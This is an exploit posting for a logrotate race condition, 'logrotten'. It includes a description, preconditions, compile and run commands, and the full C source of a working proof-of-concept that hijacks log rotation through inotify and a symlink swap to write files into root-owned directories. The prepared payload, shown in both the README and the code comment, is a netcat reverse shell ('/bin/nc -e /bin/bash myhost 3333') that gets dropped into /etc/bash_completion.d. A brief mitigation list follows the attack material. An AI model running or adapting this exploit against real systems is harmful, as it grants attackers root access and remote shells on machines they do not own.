Share
# Exploit Title: logrotten 3.15.1 - Privilege Escalation  
# Date: 2019-10-04  
# Exploit Author: Wolfgang Hotwagner  
# Vendor Homepage: https://github.com/logrotate/logrotate  
# Software Link: https://github.com/logrotate/logrotate/releases/tag/3.15.1  
# Version: all versions through 3.15.1  
# Tested on: Debian GNU/Linux 9.5 (stretch)  
  
## Brief description  
- logrotate is prone to a race condition after renaming the logfile.  
- If logrotate is executed as root, with option that creates a  
file ( like create, copy, compress, etc.) and the user is in control  
of the logfile path, it is possible to abuse a race-condition to write  
files in ANY directories.  
- An attacker could elevate his privileges by writing reverse-shells into  
directories like "/etc/bash_completition.d/".  
  
## Precondition for privilege escalation  
- Logrotate has to be executed as root  
- The logpath needs to be in control of the attacker  
- Any option that creates files is set in the logrotate configuration  
  
## Tested version  
- Debian GNU/Linux 9.5 (stretch)  
- Amazon Linux 2 AMI (HVM)  
- Ubuntu 18.04.1  
- logrotate 3.8.6  
- logrotate 3.11.0  
- logrotate 3.15.0  
  
## Compile  
- gcc -o logrotten logrotten.c  
  
## Prepare payload  
```  
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &);  
fi" > payloadfile  
```  
  
## Run exploit  
  
If "create"-option is set in logrotate.cfg:  
```  
./logrotten -p ./payloadfile /tmp/log/pwnme.log  
```  
  
If "compress"-option is set in logrotate.cfg:  
```  
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log  
```  
  
## Known Problems  
- It's hard to win the race inside a docker container or on a lvm2-volume  
  
## Mitigation  
- make sure that logpath is owned by root  
- use option "su" in logrotate.cfg  
- use selinux or apparmor  
  
## Author  
- Wolfgang Hotwagner  
  
## References  
  
- https://github.com/whotwagner/logrotten  
-  
https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition  
-  
https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges  
- https://www.ait.ac.at/themen/cyber-security/ait-sa-20190930-01/  
-  
https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd  
  
  
logrotten.c  
  
/*  
* logrotate poc exploit  
*  
* [ Brief description ]  
* - logrotate is prone to a race condition after renaming the logfile.  
* - If logrotate is executed as root and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories.  
* - An attacker could elevate his privileges by writing reverse-shells into   
* directories like "/etc/bash_completition.d/".  
*  
* [ Precondition for privilege escalation ]  
* - Logrotate needs to be executed as root  
* - The logpath needs to be in control of the attacker  
* - Any option(create,compress,copy,etc..) that creates a new file is set in the logrotate configuration.   
*   
* [ Tested version ]  
* - Debian GNU/Linux 9.5 (stretch)  
* - Amazon Linux 2 AMI (HVM)  
* - Ubuntu 18.04.1  
* - logrotate 3.8.6  
* - logrotate 3.11.0  
* - logrotate 3.15.0  
*  
* [ Compile ]  
* - gcc -o logrotten logrotten.c  
*  
* [ Prepare payload ]  
* - echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile  
*  
* [ Run exploit ]  
* - nice -n -20 ./logrotten -p payloadfile /tmp/log/pwnme.log  
* - if compress is used: nice -n -20 ./logrotten -c -s 3 -p payloadfile /tmp/log/pwnme.log.1  
*  
* [ Known Problems ]  
* - It's hard to win the race inside a docker container or on a lvm2-volume  
*  
* [ Mitigation ]  
* - make sure that logpath is owned by root  
* - use su-option in logrotate.cfg  
* - use selinux or apparmor  
*  
* [ Author ]  
* - Wolfgang Hotwagner  
*  
* [ Contact ]  
* - https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition  
* - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges  
* - https://github.com/whotwagner/logrotten  
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <errno.h>  
#include <sys/types.h>  
#include <sys/inotify.h>  
#include <unistd.h>  
#include <string.h>  
#include <alloca.h>  
#include <sys/stat.h>  
#include <getopt.h>  
  
  
#define EVENT_SIZE ( sizeof (struct inotify_event) )  
#define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) )  
  
/* use TARGETDIR without "/" at the end */  
#define TARGETDIR "/etc/bash_completion.d"  
  
#define PROGNAME "logrotten"  
  
void usage(const char* progname)  
{  
printf("usage: %s [OPTION...] <logfile>\n",progname);  
printf(" %-3s %-22s %-30s\n","-h","--help","Print this help");  
printf(" %-3s %-22s %-30s\n","-t","--targetdir <dir>","Abosulte path to the target directory");  
printf(" %-3s %-22s %-30s\n","-p","--payloadfile <file>","File that contains the payload");  
printf(" %-3s %-22s %-30s\n","-s","--sleep <sec>","Wait before writing the payload");  
printf(" %-3s %-22s %-30s\n","-d","--debug","Print verbose debug messages");  
printf(" %-3s %-22s %-30s\n","-c","--compress","Hijack compressed files instead of created logfiles");  
printf(" %-3s %-22s %-30s\n","-o","--open","Use IN_OPEN instead of IN_MOVED_FROM");  
}  
  
int main(int argc, char* argv[] )  
{  
int length, i = 0;  
int j = 0;  
int index = 0;  
int fd;  
int wd;  
char buffer[EVENT_BUF_LEN];  
uint32_t imask = IN_MOVED_FROM;  
char *payloadfile = NULL;  
char *logfile = NULL;  
char *targetdir = NULL;  
char *logpath;  
char *logpath2;  
char *targetpath;  
int debug = 0;  
int sleeptime = 1;  
char ch;  
const char *p;  
FILE *source, *target;   
  
int c;  
  
while(1)  
{  
int this_option_optind = optind ? optind : 1;  
int option_index = 0;  
static struct option long_options[] = {  
{"payloadfile", required_argument, 0, 0},  
{"targetdir", required_argument, 0, 0},  
{"sleep", required_argument, 0, 0},  
{"help", no_argument, 0, 0},  
{"open", no_argument, 0, 0},  
{"debug", no_argument, 0, 0},  
{"compress", no_argument, 0, 0},  
{0,0,0,0}  
};  
  
c = getopt_long(argc,argv,"hocdp:t:s:", long_options, &option_index);  
if (c == -1)  
break;  
  
switch(c)  
{  
case 'p':  
payloadfile = alloca((strlen(optarg)+1)*sizeof(char));  
memset(payloadfile,'\0',strlen(optarg)+1);  
strncpy(payloadfile,optarg,strlen(optarg));  
break;  
case 't':  
targetdir = alloca((strlen(optarg)+1)*sizeof(char));  
memset(targetdir,'\0',strlen(optarg)+1);  
strncpy(targetdir,optarg,strlen(optarg));  
break;  
case 'h':  
usage(PROGNAME);  
exit(EXIT_FAILURE);  
break;  
case 'd':  
debug = 1;  
break;  
case 'o':  
imask = IN_OPEN;  
break;  
case 'c':  
imask = IN_OPEN;  
break;  
case 's':  
sleeptime = atoi(optarg);  
break;  
default:  
usage(PROGNAME);  
exit(EXIT_FAILURE);  
break;  
}  
}  
  
if(argc == (optind+1))  
{  
logfile = alloca((strlen(argv[optind])+1)*sizeof(char));  
memset(logfile,'\0',strlen(argv[optind])+1);  
strncpy(logfile,argv[optind],strlen(argv[optind]));  
}  
else  
{  
usage(PROGNAME);  
exit(EXIT_FAILURE);  
}  
  
for(j=strlen(logfile); (logfile[j] != '/') && (j != 0); j--);  
  
index = j+1;  
  
p = &logfile[index];  
  
logpath = alloca(strlen(logfile)*sizeof(char));  
logpath2 = alloca((strlen(logfile)+2)*sizeof(char));  
  
if(targetdir != NULL)  
{  
targetpath = alloca( ( (strlen(targetdir)) + (strlen(p)) +3) *sizeof(char));  
strcat(targetpath,targetdir);  
}  
else  
{  
targetdir= TARGETDIR;  
targetpath = alloca( ( (strlen(TARGETDIR)) + (strlen(p)) +3) *sizeof(char));  
targetpath[0] = '\0';  
strcat(targetpath,TARGETDIR);  
}  
strcat(targetpath,"/");  
strcat(targetpath,p);  
  
for(j = 0; j < index; j++)  
logpath[j] = logfile[j];  
logpath[j-1] = '\0';  
  
strcpy(logpath2,logpath);  
logpath2[strlen(logpath)] = '2';  
logpath2[strlen(logpath)+1] = '\0';  
  
/*creating the INOTIFY instance*/  
fd = inotify_init();  
  
if( debug == 1)  
{  
printf("logfile: %s\n",logfile);  
printf("logpath: %s\n",logpath);  
printf("logpath2: %s\n",logpath2);  
printf("targetpath: %s\n",targetpath);  
printf("targetdir: %s\n",targetdir);  
printf("p: %s\n",p);  
}  
  
/*checking for error*/  
if ( fd < 0 ) {  
perror( "inotify_init" );  
}  
  
wd = inotify_add_watch( fd,logpath, imask );  
  
printf("Waiting for rotating %s...\n",logfile);  
  
while(1)  
{  
i=0;  
length = read( fd, buffer, EVENT_BUF_LEN );   
  
while (i < length) {   
struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ]; if ( event->len ) {  
if ( event->mask & imask ) {   
if(strcmp(event->name,p) == 0)  
{  
rename(logpath,logpath2);  
symlink(targetdir,logpath);  
printf("Renamed %s with %s and created symlink to %s\n",logpath,logpath2,targetdir);  
if(payloadfile != NULL)  
{  
printf("Waiting %d seconds before writing payload...\n",sleeptime);  
sleep(sleeptime);  
source = fopen(payloadfile, "r");   
if(source == NULL)  
exit(EXIT_FAILURE);  
  
target = fopen(targetpath, "w");   
if(target == NULL)  
{  
fclose(source);  
exit(EXIT_FAILURE);  
}  
  
while ((ch = fgetc(source)) != EOF)  
fputc(ch, target);  
  
chmod(targetpath,S_IRUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);  
fclose(source);  
fclose(target);  
}  
inotify_rm_watch( fd, wd );  
close( fd );  
printf("Done!\n");  
  
exit(EXIT_SUCCESS);  
}  
}  
}  
i += EVENT_SIZE + event->len;  
}  
}  
/*removing from the watch list.*/  
inotify_rm_watch( fd, wd );  
  
/*closing the INOTIFY instance*/  
close( fd );  
  
exit(EXIT_SUCCESS);  
}